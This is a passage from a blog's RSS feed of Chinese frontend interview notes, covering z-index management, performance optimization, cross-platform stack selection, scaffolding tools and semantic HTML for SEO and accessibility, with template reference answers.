&lt;li&gt;维护混乱&lt;/li&gt;
&lt;li&gt;层级冲突（某组件盖住了弹窗）&lt;/li&gt;
&lt;li&gt;模块互相影响，难以解耦&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h4 id="二系统化的-z-index-管理方案"&gt;二、系统化的 z-index 管理方案&lt;/h4&gt;
&lt;h5 id="1-建立统一的层级管理规范z-index-map"&gt;1. 建立统一的层级管理规范（z-index Map）&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;在系统中定义一套统一的 z-index 枚举表，例如：&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ts" data-lang="ts"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Z_INDEX_MAP&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;base&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;component&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;10&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;floatingPanel&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;100&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;modal&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;1000&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;tooltip&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;2000&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;dragLayer&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;3000&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;globalMask&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;9999&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;所有模块只能从该映射中引用 z-index，禁止硬编码数字，避免冲突&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id="2-模块隔离建立明确的层叠上下文边界"&gt;2. 模块隔离，建立明确的层叠上下文边界&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;使用 &lt;code&gt;position: relative/absolute&lt;/code&gt; + &lt;code&gt;z-index&lt;/code&gt;，每个模块在其容器内控制层级&lt;/li&gt;
&lt;li&gt;避免所有元素在一个全局层叠上下文中争夺 z-index&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id="3-动态-z-index-分配机制如拖拽时临时置顶"&gt;3. 动态 z-index 分配机制（如拖拽时临时置顶）&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;为拖拽、临时弹出等模块动态分配最高层级，例如：&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ts" data-lang="ts"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;dynamicZIndex&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Z_INDEX_MAP&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;dragLayer&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;getNextZIndex() {&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;dynamicZIndex&lt;/span&gt;&lt;span style="color:#f92672"&gt;++&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;使多个拖拽元素在交互中可动态置顶，不影响整体秩序&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id="4-可视化调试工具辅助"&gt;4. 可视化调试工具辅助&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;引入 DevTool 插件或内嵌 z-index 层级可视化辅助组件，用不同颜色或 label 显示当前模块层级，便于调试&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h4 id="三z-index-冲突的实际案例与应对策略"&gt;三、z-index 冲突的实际案例与应对策略&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;问题&lt;/strong&gt;：浮层 A（z-index: 200）被浮层 B（z-index: 100）遮挡&lt;/p&gt;</description></item><item><title>美团-本地商业-校招 · 第 1 轮 · 一面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-58/round-91/</link><pubDate>Mon, 28 Jul 2025 02:44:46 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-58/round-91/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-58/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 本次面试主要聚焦于前端中高级技术深度和实际项目经验的考察。重点涵盖了&lt;strong&gt;前端工程化与性能优化&lt;/strong&gt;（如Webpack优化、首屏加载、HTTP缓存、CDN等）、&lt;strong&gt;JavaScript运行机制与高级特性&lt;/strong&gt;（事件循环、宏微任务、Vue 2/3响应式原理、数组操作等），以及&lt;strong&gt;Web安全与系统设计&lt;/strong&gt;（如XSS防御、HTTPS原理、持久化登录系统设计）。此外，还深入探讨了&lt;strong&gt;跨平台开发&lt;/strong&gt;（Uni-App/Taro原理及选型）和&lt;strong&gt;微前端架构&lt;/strong&gt;的关键考量点。面试官旨在通过这些题目，全面评估候选人在复杂业务场景下的技术选型、问题分析与解决能力，以及对前端底层原理和安全实践的掌握程度。&lt;/p&gt;
&lt;p&gt;本轮共 18 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-29dfa5962bad"&gt;1. 简单介绍你的技术背景和项目经验。&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;说明&lt;/strong&gt;：该题是典型的主观型问题，没有唯一的标准答案。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;考察目标&lt;/strong&gt;：面试官主要考察答题者的自我认知、表达能力、技术广度与深度、以及对自身项目经验的复盘和总结能力。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;答题结构建议&lt;/strong&gt;：建议围绕&amp;quot;我是谁&amp;quot;、&amp;ldquo;我会什么&amp;rdquo;、&amp;ldquo;我做过什么&amp;quot;三个核心点展开，并结合具体项目经验突出个人优势和亮点。&lt;/li&gt;
&lt;/ol&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;很高兴能有机会介绍一下我的技术背景和项目经验。我叫[你的名字]，毕业于[你的学校和专业]，在校期间我对前端技术产生了浓厚兴趣，系统学习了HTML、CSS和JavaScript基础。毕业后，我加入了[你的公司名称]，至今有[X]年的前端开发经验。&lt;/p&gt;
&lt;p&gt;在职业生涯中，我主要专注于[你的主要技术方向，如Web应用开发、跨平台开发、前端性能优化等]。我熟练掌握Vue.js（或React）框架及其生态系统，包括状态管理（Vuex/Pinia或Redux/MobX）、路由管理（Vue Router或React Router）和构建工具（Webpack/Vite）。同时，我对Node.js也有一定了解，能够进行一些基础的后端协作或独立开发前端工具。&lt;/p&gt;
&lt;p&gt;在[公司名称]，我参与了[项目名称，可以是核心项目或最有代表性的项目]的开发工作。这个项目是一个[简单描述项目类型，如中后台管理系统、电商平台、数据可视化平台]。我在其中主要负责[具体职责，如负责XX模块的开发、实现YY功能、进行ZZ性能优化]等。&lt;/p&gt;
&lt;p&gt;举个例子，在[具体项目或模块]中，我们遇到了[一个具体的技术挑战，如首屏加载慢、组件复用性差、跨端适配问题]。为了解决这个问题，我当时[你采取的具体措施和方案，如引入了Webpack的SplitChunksPlugin进行代码分割、设计了通用组件库并结合Slots/Props实现高复用、使用了Uni-App的条件编译处理平台差异]。最终，[达到的效果和数据，如首屏加载时间从5s优化到1s、组件复用率提升了30%、成功支持了微信和支付宝小程序]。这次经历让我深刻理解了[你的收获和思考，如前端性能优化的重要性、组件化设计的价值、跨平台开发的权衡点]。&lt;/p&gt;
&lt;p&gt;我不仅关注代码实现，也注重项目的整体质量和用户体验，善于发现问题并积极寻求解决方案。我也乐于学习和探索新技术，保持对前端前沿的关注。谢谢。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-5415ff84e537"&gt;2. 项目中遇到的性能优化挑战是什么？具体如何解决的？&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;说明&lt;/strong&gt;：该题是典型的主观型问题，没有唯一的标准答案。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;考察目标&lt;/strong&gt;：面试官主要考察答题者在实际项目中发现、分析和解决性能问题的能力，包括对性能指标的理解、优化策略的掌握以及实际操作经验和复盘能力。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;答题结构建议&lt;/strong&gt;：建议按照&amp;quot;背景/挑战 -&amp;gt; 如何分析 -&amp;gt; 具体优化措施 -&amp;gt; 优化效果与思考&amp;quot;的结构展开，突出解决问题的思路和细节。&lt;/li&gt;
&lt;/ol&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;在[你的项目名称，如电商H5页面/管理后台]项目中，我们曾面临一个比较明显的性能挑战，主要体现在**[具体场景，如首页首屏加载时间过长，达到了5秒以上；或者某个复杂列表页在滚动时出现卡顿]**。这严重影响了用户体验，尤其是在移动网络环境下，导致用户跳出率较高。&lt;/p&gt;
&lt;p&gt;为了定位问题，我们首先借助了&lt;strong&gt;Chrome DevTools (Lighthouse、Performance面板)&lt;/strong&gt; 进行分析。通过对加载瀑布流、CPU使用率和内存占用进行观察，我们发现主要瓶颈在于：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;[具体瓶颈1，如：主JS包体积过大，导致解析和执行时间长]&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;[具体瓶颈2，如：图片资源未优化，大量高清大图直接加载，占用带宽]&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;[具体瓶颈3，如：复杂组件渲染耗时，导致回流重绘频繁，引起卡顿]&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;针对这些问题，我们采取了以下具体的优化措施：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;代码分割与按需加载&lt;/strong&gt;：针对主JS包体积过大的问题，我们引入了&lt;strong&gt;Webpack的&lt;code&gt;SplitChunksPlugin&lt;/code&gt;&lt;/strong&gt;，结合&lt;strong&gt;路由懒加载&lt;/strong&gt;（或组件懒加载）。将不同路由页面的代码和不常用的第三方库进行拆分，例如：&lt;code&gt;component: () =&amp;gt; import('./views/OrderDetail.vue')&lt;/code&gt;。这样，用户首次访问时只需要加载当前页面的核心代码，显著减少了首屏JS的下载和解析量。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;图片优化&lt;/strong&gt;：对于图片资源，我们采取了多项措施：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;图片压缩&lt;/strong&gt;：对项目中的所有图片资源进行了统一的无损压缩处理，并推荐设计师使用WebP格式的图片。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;懒加载&lt;/strong&gt;：对于首屏之外的图片，我们实现了&lt;strong&gt;图片懒加载&lt;/strong&gt;，只有当图片进入用户视口时才进行加载，避免了不必要的资源请求。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CDN加速&lt;/strong&gt;：将静态图片资源部署到CDN，利用CDN的边缘节点分发，减少了网络延迟。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;组件渲染优化&lt;/strong&gt;：针对复杂组件的卡顿问题，我们做了以下工作：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;虚拟列表/长列表优化&lt;/strong&gt;：对于数据量大的列表页，我们引入了&lt;strong&gt;虚拟列表&lt;/strong&gt;技术，只渲染可视区域内的DOM节点，减少了DOM数量，大幅提升了滚动流畅度。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;避免不必要的渲染&lt;/strong&gt;：在Vue/React组件中，合理使用&lt;code&gt;v-if/v-show&lt;/code&gt;、&lt;code&gt;keep-alive&lt;/code&gt;、&lt;code&gt;React.memo&lt;/code&gt;/&lt;code&gt;PureComponent&lt;/code&gt;等，结合&lt;code&gt;shouldComponentUpdate&lt;/code&gt;（React）或计算属性/监听器（Vue）来避免组件的重复渲染。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;减少回流重绘&lt;/strong&gt;：优化了DOM操作，减少了频繁读写布局属性，例如将多个样式修改合并为一次操作，或者使用CSS的&lt;code&gt;transform&lt;/code&gt;代替&lt;code&gt;left/top&lt;/code&gt;进行动画。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;经过这些优化，我们的**[项目名称]首页首屏加载时间成功从5秒降低到了2秒以内**（或更具体的数据），用户反馈页面的流畅度也有了显著提升，这对业务转化率带来了积极影响。这次优化经历让我对前端性能优化有了更系统和深入的理解，也认识到性能优化是一个持续的过程，需要贯穿于项目的整个生命周期中。我们会定期进行性能监控和分析，确保用户体验。谢谢。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-40e693893a81"&gt;3. 如果让你主导一个跨平台电商项目，如何选择技术栈？&lt;/h2&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;技术栈选型能力&lt;/strong&gt;：面试官想考察候选人是否具备从宏观层面规划项目技术栈的能力，包括对主流前端框架、跨平台技术以及相关生态的了解。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;对跨平台开发的深入理解&lt;/strong&gt;：考察候选人是否清楚跨平台开发的核心痛点（如性能、体验、API兼容性），并能提出针对性的解决方案。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;系统设计和权衡能力&lt;/strong&gt;：评估候选人能否在性能、开发效率、维护成本、团队能力、业务需求等多个维度之间进行权衡和取舍。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;对电商领域特点的认知&lt;/strong&gt;：了解候选人是否对电商项目特有的需求（如商品展示、购物车、支付、大促活动）有前瞻性思考，并能在技术选型中体现。&lt;/li&gt;
&lt;/ol&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h5 id="11-原理说明"&gt;1.1 原理说明&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;跨平台电商项目&lt;/strong&gt;通常是指一个产品需要同时在Web（H5）、微信小程序、支付宝小程序、App（iOS/Android）等多个终端运行，并且希望尽可能复用代码，降低开发和维护成本。技术栈选择是一个复杂的决策过程，需要综合考虑项目的&lt;strong&gt;业务需求、性能要求、开发效率、团队技术栈、维护成本以及社区生态&lt;/strong&gt;等多方面因素。&lt;/p&gt;</description></item><item><title>滴滴-社招-2年 · 第 1 轮 · 二面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-57/round-90/</link><pubDate>Mon, 28 Jul 2025 02:28:18 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-57/round-90/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-57/round-89/"&gt;第 1 轮&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-57/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; WebWorker、Canvas 和 SVG&lt;/p&gt;
&lt;p&gt;本轮共 10 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-ee1b2317997f"&gt;1. 自我介绍，项目介绍&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-5057de803a73"&gt;2. 为什么选择Vue3+TS而非React&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;略&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-d894c5540f67"&gt;3. 你们用的是什么脚手架，脚手架的基本原理了解么&lt;/h2&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;脚手架是提升工程效率、统一规范的工具&lt;/li&gt;
&lt;li&gt;底层通过 Node.js 实现文件复制、模板注入、命令执行&lt;/li&gt;
&lt;li&gt;常用工具：Vue CLI、CRA、Vite、自研 CLI（基于 Plop、Yeoman）&lt;/li&gt;
&lt;li&gt;企业通常自研脚手架实现快速初始化、统一配置和组件生成&lt;/li&gt;
&lt;li&gt;掌握核心原理（模板渲染、交互、文件操作）有助于二次开发&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h3 id="考察点"&gt;考察点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;面试官希望了解你是否具备工程化思维&lt;br&gt;&lt;/li&gt;
&lt;li&gt;是否熟悉当前项目所用的脚手架工具及其底层实现原理&lt;br&gt;&lt;/li&gt;
&lt;li&gt;是否理解脚手架在项目初始化、规范约定、自动化等方面的作用&lt;br&gt;&lt;/li&gt;
&lt;li&gt;是否具备定制或维护脚手架的能力&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="参考答案"&gt;参考答案&lt;/h3&gt;
&lt;h4 id="一常用脚手架工具及我们团队的选择"&gt;一、常用脚手架工具及我们团队的选择&lt;/h4&gt;
&lt;p&gt;我们项目主要使用的是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Vue 项目&lt;/strong&gt;：使用 &lt;code&gt;@vue/cli&lt;/code&gt;、&lt;code&gt;vite&lt;/code&gt; 或公司自研的内部模板系统&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;React 项目&lt;/strong&gt;：早期使用 &lt;code&gt;create-react-app&lt;/code&gt;，后续迁移为 &lt;code&gt;Vite + 自定义模板&lt;/code&gt;&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;自研脚手架&lt;/strong&gt;：基于 &lt;code&gt;Plop.js&lt;/code&gt;、&lt;code&gt;Yeoman&lt;/code&gt;、&lt;code&gt;Commander&lt;/code&gt; 或 &lt;code&gt;create-*&lt;/code&gt; 实现，通过 Node.js 实现项目初始化、目录结构生成、依赖安装、git 初始化等功能&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="二脚手架的核心功能"&gt;二、脚手架的核心功能&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;初始化项目结构&lt;/strong&gt;（生成项目目录和基础文件）&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;注入标准化配置&lt;/strong&gt;（eslint、prettier、commitlint、husky、tsconfig等）&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;自动安装依赖&lt;/strong&gt;（npm/yarn/pnpm install）&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;选择模板和功能模块&lt;/strong&gt;（用户选择功能特性，动态生成对应模块）&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;自定义交互式命令行（CLI）&lt;/strong&gt;（使用 inquirer 等库实现配置选择）&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;生成代码片段/组件&lt;/strong&gt;（如 &lt;code&gt;plop generate component&lt;/code&gt;）&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="三脚手架的实现原理"&gt;三、脚手架的实现原理&lt;/h4&gt;
&lt;p&gt;脚手架本质上是基于 Node.js 脚本，通过命令行交互完成初始化和代码生成，主要原理包括：&lt;/p&gt;</description></item><item><title>滴滴-社招-2年 · 第 1 轮 · 一面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-57/round-89/</link><pubDate>Mon, 28 Jul 2025 02:20:14 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-57/round-89/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-57/"&gt;返回本次面经&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-57/round-90/"&gt;第 1 轮&lt;/a&gt; →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 生命周期、Vue3 API、响应式原理、v-for、事件循环&lt;/p&gt;
&lt;p&gt;本轮共 21 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-2245b14e802d"&gt;1. 为什么使用 &lt;header&gt; 而非 &lt;div class="header"&gt;&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;header&amp;gt;&lt;/code&gt;是HTML5语义化标签，明确头部区域含义&lt;br&gt;&lt;/li&gt;
&lt;li&gt;语义化标签有助于SEO和辅助技术识别&lt;br&gt;&lt;/li&gt;
&lt;li&gt;提高代码可读性和维护性，减少依赖类名赋予语义&lt;br&gt;&lt;/li&gt;
&lt;li&gt;推荐优先使用语义标签代替无语义的&lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt;+类名组合&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h3 id="考察点"&gt;考察点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;理解HTML语义化标签的重要性及作用&lt;br&gt;&lt;/li&gt;
&lt;li&gt;掌握语义化标签对SEO和无障碍的影响&lt;br&gt;&lt;/li&gt;
&lt;li&gt;了解语义化标签在开发协作和维护中的优势&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="参考答案"&gt;参考答案&lt;/h3&gt;
&lt;h4 id="一语义化标签的核心概念"&gt;一、语义化标签的核心概念&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;HTML5引入了如 &lt;code&gt;&amp;lt;header&amp;gt;&lt;/code&gt;、&lt;code&gt;&amp;lt;nav&amp;gt;&lt;/code&gt;、&lt;code&gt;&amp;lt;article&amp;gt;&lt;/code&gt;、&lt;code&gt;&amp;lt;footer&amp;gt;&lt;/code&gt; 等语义化标签，明确表达页面结构和内容含义&lt;br&gt;&lt;/li&gt;
&lt;li&gt;语义化标签比普通 &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; 搭配类名更具意义，利于浏览器、搜索引擎、辅助设备等理解页面&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="二使用-header-的优势"&gt;二、使用 &lt;code&gt;&amp;lt;header&amp;gt;&lt;/code&gt; 的优势&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;明确语义&lt;/strong&gt;&lt;br&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;header&amp;gt;&lt;/code&gt;表示页面或区块的头部区域，包含标题、导航等信息&lt;br&gt;&lt;/li&gt;
&lt;li&gt;比 &lt;code&gt;&amp;lt;div class=&amp;quot;header&amp;quot;&amp;gt;&lt;/code&gt; 直接通过类名赋予语义更标准、易识别&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;提升可访问性&lt;/strong&gt;&lt;br&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;语义化标签被屏幕阅读器等辅助技术识别，帮助视障用户理解页面结构&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;header&amp;gt;&lt;/code&gt;使辅助设备快速定位页眉内容，提升用户体验&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;SEO友好&lt;/strong&gt;&lt;br&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;搜索引擎利用语义标签准确抓取页面结构和重点内容&lt;br&gt;&lt;/li&gt;
&lt;li&gt;语义标签利于内容分类和权重判断，可能提高搜索排名&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;代码规范与维护&lt;/strong&gt;&lt;br&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;语义化标签增强代码自解释性，方便团队协作和代码维护&lt;br&gt;&lt;/li&gt;
&lt;li&gt;减少对类名、ID等非结构性属性的依赖，代码更简洁清晰&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="三使用场景对比"&gt;三、使用场景对比&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;header&amp;gt;&lt;/code&gt;适合定义页面或区块的头部区域&lt;br&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;div class=&amp;quot;header&amp;quot;&amp;gt;&lt;/code&gt;仅作为普通容器，没有内置语义&lt;br&gt;&lt;/li&gt;
&lt;li&gt;两者均可通过CSS样式控制外观，但语义化标签具备结构语义&lt;/li&gt;
&lt;/ul&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-247f9e07b586"&gt;2. SEO和可访问性有何影响&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;语义化标签提升SEO抓取效率和内容权重分配&lt;br&gt;&lt;/li&gt;
&lt;li&gt;结构化页面内容，增强搜索引擎对重点信息的识别能力&lt;br&gt;&lt;/li&gt;
&lt;li&gt;语义标签是辅助技术识别页面结构的关键，提升可访问性&lt;br&gt;&lt;/li&gt;
&lt;li&gt;有助于残障用户快速导航和理解页面&lt;br&gt;&lt;/li&gt;
&lt;li&gt;符合无障碍标准，降低法律和合规风险&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h3 id="考察点-1"&gt;考察点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;理解SEO（搜索引擎优化）对网页结构和内容的重要性&lt;br&gt;&lt;/li&gt;
&lt;li&gt;掌握语义化标签对搜索引擎抓取的正面影响&lt;br&gt;&lt;/li&gt;
&lt;li&gt;了解可访问性（Accessibility）概念及辅助技术如何利用语义标签&lt;br&gt;&lt;/li&gt;
&lt;li&gt;能说明如何通过结构优化提升用户体验及业务价值&lt;br&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="参考答案-1"&gt;参考答案&lt;/h3&gt;
&lt;h4 id="一seo影响"&gt;一、SEO影响&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;
